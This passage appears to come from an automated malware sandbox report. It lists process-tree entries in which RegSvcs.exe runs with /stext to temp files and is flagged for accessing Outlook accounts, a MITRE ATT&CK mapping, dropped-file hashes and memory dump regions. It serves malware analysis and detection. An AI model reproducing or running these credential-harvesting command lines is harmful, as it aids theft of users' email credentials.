        C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe /stext "C:\Users\Admin\AppData\Local\Temp\pkhocfskkllsujpehocri"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1768
    - - C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe
        
        C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe /stext "C:\Users\Admin\AppData\Local\Temp\zmuycydlyudfepliyzxtlhik"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:2268
    - - C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe
        
        C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe /stext "C:\Users\Admin\AppData\Local\Temp\cgardqofmcvkgdzmikjmwmcbfsq"
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
ed74ad2764d8e9d06f54d8ec70a2538a

SHA1
7d04cd07bd665304a7c2a9ee7a4379f1e307a4c3

SHA256
a96f7eafcb06d8f503dc664d3a3f3415c64255e6967f7dfcf5cb4940a87dac11

SHA512
70b9cf48c7ca1dd2d09cf5802a3beb1adfbc22ca40273ecff17a6eb5427de90c1777ea0fea01d01dd816e9331c638549c004778b59918180978a603c80fd093f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab28D5.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar28E7.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar29C8.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Local\Temp\pkhocfskkllsujpehocri

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d2e65621b4f88b0e9db520e7814cd0ee

SHA1
139f55f05fa36eea3b8fe1d625099f05779cb826

SHA256
e5dbe1be625a1605a09adfff634b0334768d353537194beafc1dff1a8f4f19f4

SHA512
e63d475d9f72ee4ebc3ed0c2280594f54f1570e02084417daefc16eb906be8c302df995e01aa41da874ed39afc0b22ce65a0246af945a6c513ad20ad30d6b16f

Download Submit
memory/1768-151-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1768-154-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1768-145-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2060-136-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-141-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-174-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-119-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-121-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-123-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-125-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-127-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-129-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2060-130-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-113-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-115-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-117-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-131-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-132-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-135-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-173-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-171-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-138-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-139-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-140-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-169-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-143-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-170-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-168-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2060-167-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/2060-166-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/2060-163-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/2268-152-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2268-147-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2268-150-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2304-155-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2304-148-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2304-149-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2304-153-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2580-21-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2580-23-0x000007FEF5650000-0x000007FEF5FED000-memory.dmp

Filesize
9.6MB

Download
memory/2580-29-0x000007FEF5650000-0x000007FEF5FED000-memory.dmp

Filesize
9.6MB

Download
memory/2580-22-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/2580-108-0x000007FEF590E000-0x000007FEF590F000-memory.dmp

Filesize
4KB

Download
memory/2580-137-0x000007FEF5650000-0x000007FEF5FED000-memory.dmp

Filesize
9.6MB

Download
memory/2580-20-0x000007FEF590E000-0x000007FEF590F000-memory.dmp

Filesize
4KB

Download
memory/2880-111-0x000000001AC80000-0x000000001AF40000-memory.dmp

Filesize
2.8MB

Download